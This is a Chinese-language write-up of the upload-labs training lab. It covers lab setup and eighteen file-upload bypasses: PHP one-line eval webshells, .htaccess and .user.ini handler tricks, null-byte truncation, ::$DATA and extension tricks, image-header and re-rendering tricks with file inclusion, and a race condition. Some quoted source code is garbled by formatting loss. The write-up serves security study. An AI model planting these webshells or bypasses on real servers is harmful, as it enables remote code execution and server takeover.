文件上传

一、phpstudy搭建upload-labs

下载phpstudy

img

打开Apache和MySQL

之后创建网站

img

这里要打开创建数据库的选项

img

配置upload-labs

下载链接:https://github.com/c0ny1/upload-labs

下载后解压放在我们之前安装好的phpstudy的WWW目录里img打开网站访问即可img访问成功img

二、一句话木马

<?php @eval($_REQUEST[‘w’]);?>

<?php @eval($_GET[‘w’]);?>

<?php @eval($_POST[‘w’]);?>

PHP eval()函数

eval(str)函数吧str字符串按照php代码来计算

该str字符串必须是合法的PHP代码,且必须以分号结尾

如果没有在代码字符串中调用return语句,则返回NULL。如果代码存在解析错误,则eval()函数返回false

例如:$_POST[XXX]

当使用<form>标签的post方法时候,同时<form>标签里面的name属性等于cmd

例如:<form action="xxx.php" name="cmd" method="post">

会在php文件中产生一个$_POST[cmd]变量,变量中储存有用户提交的数据,

假设用户在输入框中输入了:phpinfo();

那么$_POST[cmd]变量便会变成 "phpinfo();" 这个字符串

再加上eval()方法函数将用户输入的字符串进行执行,那么用户便可以通过输入php语句来达到任意操作数据库和服务器的效果了

三、upload-labs练习

pass1(后缀)

img

首先审计代码看到

Alert(String AlertInfo)函数

AlertInfo报警提示信说明上传空的文件会警告“请选择要上传的文件!”

经过代码审计我们可以看出只能上传图片文件

于是我们将含有一句话木马的文件后缀改为jpg

上传jpg文件后抓包

将文件后缀改为php

img

在返回包中找到上传文件的位置

就可以达到绕过前端文件上传的目的

img

打开所说的目录我们就可以找到我们上传的文件‘img

pass2(content-type)

首先查看源代码

$is_upload = false; $msg = null; if (isset($POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($FILES'upload_file' 'image/jpeg') || ($FILES'upload_file' 'image/png') || ($FILES'upload_file' == 'image/gif')) { $temp_file = $FILES'upload_file'; $img_path = UPLOAD_PATH . '/' . $FILES'upload_file' if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; }} else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }

所以进行抓包,将Content-Type修改为允许上传的类型(image/jpeg、image/png、image/gif)三选一。

img

然后查看返回包

img

这里有上传文件的位置

题目结束

pass3(黑名单)

首先代码审计

img

说明.asp .aspx .php .jsp都不能上传,有限制。

本题是黑名单的绕过

Apache可以把php3解析出来用bur将php改成php3

img

可以在返回包中看到上传位置和新的文件名

img

pass4(*htaccess配置****)***

做题过程

首先代码审计

img

img

说明有好多文件后缀禁止上传

可以尝试上传一个.htaccess配置文件,将4.png图片当作php代码进行解析,

首先创建一个.htaccess文件,里面写上代码

<FilesMatch "4.png">SetHandler application/x-httpd-php

这串代码的意思是如果文件中有一个4.png的文件,他就会被解析为.php,把这个文件上传上去。上传上去之后,我们在把图片用Notepad打开,里面写上php代码。再进行上传。最后我们访问这个4.png文件

注意事项

.htaccess文件不能起名字,他就是.htaccess文件,如果将他改为4.htaccess或者其他的什么名字是不可以的,无法解析。在实战中有可能上传上去这个文件会被自动重命名,被重命名了就不可以了。

pass5(*.user.ini****)***

利用 .user.ini 文件 使得运行 readme.php 时 包含上传的图片,相当于readme.php也有webshell.php。

.user.ini中的内容:

auto_prepend_file=文件名

pass6(大写过滤)

这一关没有强制将大写转换为小写,所以我们可以上传纯大写或者大小写结合的后缀名

img

只需要将php改为PHP就可以完成上传

pass7(没有过滤空格)

首先代码审计

img

发现没有空格过滤

所以只需要在bur中php后加一个空格

pass8(没有*删除文件名末尾的点****)***

代码审计发现没有删除文件名末尾的点这句话

所以只需要在bur中php后加一个点

pass9(*没有去除字符串::$DATA****)***

代码审计

img

没有去除字符串::$DATA

img

在bur中修改后缀加上::$DATA

img

上传成功

pass10(*循环验证****)***

代码审计

img

这一关的思路是它没有循环验证,也就是说这些收尾去空,去除字符串::$DATA,转换为小写这些东西只是验证了一次。所以我们的绕过思路就很简单,在数据包中把后缀名改为.php. .说一下他的验证过程,首先他发现有一个点,这时会把他去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功。如下图:

img

pass11(*黑名单限制不完全 - 双写绕过****)***

只需要在bur中将文件后面改为.p.phphp

上传后他会删除.php

这样会使得文件名变回.php

上传成功

pass12(路径可控)

上传的路径可控,这里可以使用 %00截断

上传12.jpg的一句话木马

save_path=../upload/12.php%00

pass13(*上传路径可控****)***

$ext_arr = array('jpg','png','gif');

$file_ext = substr($FILES'upload_file',strrpos($FILES'upload_file',".")+1); if(in_array($file_ext,$ext_arr)){

$temp_file = $_FILES'upload_file';

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

路径可控位置在POST 数据中

在burp 中 hex 请求数据中,修改php后的字节为00

img

POST 不会对数据自动解码,所以修改HEX 中内容

pass14(*文件内容检测****)***

源码读取前2个字节判断上传文件的类型,判断通过后,便重新给文件赋予新的后缀名

在这一关,除了上传,还存在一个 include.php文件,存在文件包含漏洞,可以利用文件包含漏洞请求上传的文件

构造:include.php?file=upload/shell.jpg ,include 会以本文的形式读取shell.jpg的内容,这样存在于shell.jpg里的一句话木马就可以执行

img

图片文件头格式:

文件头部格式:https://blog.csdn.net/xiangshangbashaonian/article/details/80156865

PNG文件头: 89 50 4E 47 0D 0A 1A 0A

JPG文件头: FF D8 FF

GIF (gif)文件头:47494638

pass15(*文件内容检测****)***

image_type_to_extension 根据指定的图像类型返回对应的后缀名

和Pass-14 做法一致

pass16(*文件内容检测****)***

exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER'HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。需要开启 php_exif模块

做法和Pass-14 一致

pass17(*二次渲染****)***

上传的图片和上传后的图片大小不一致,断定这里存在图片二次渲染

绕过方法:测试图片的渲染后没有修改的位置,将一句话木马添加进去,这样就可以利用文件包含去执行php一句话木马了

对于GIF 的上传,只需要判断没有修改的位置,然后将php一句话木马添加即可

对于PNG的上传,需要修改PLTE数据块或者修改IDAT数据块,

这里可以利用别人写好的脚本,将php一句话 <?=$_GET[0]($_POST[1])?>,一句话利用了php短开标签

img

另一个要注意的点,0 这里不用使用eval,eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

另一个方式:

在move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,

所以我们可以利用这个上传的间隙去执行php文件,实现绕过。

pass18(*条件竞争****)***

if(isset($_POST['submit'])){

$ext_arr = array('jpg','png','gif');

$file_name = $_FILES'upload_file';

$temp_file = $_FILES'upload_file';

$file_ext = substr($file_name,strrpos($file_name,".")+1);

$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){

if(in_array($file_ext,$ext_arr)){

$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;

rename($upload_file, $img_path);

$is_upload = true;

}

else{

$msg = "只允许上传.jpg|.png|.gif类型文件!";

unlink($upload_file);

源码中的逻辑:这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。

条件竞争漏洞:由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生

触发:

将上传页面和文件包含触发漏洞页面发送到Burp的intruder,然后payload设置为null,即可触发条件竞争漏洞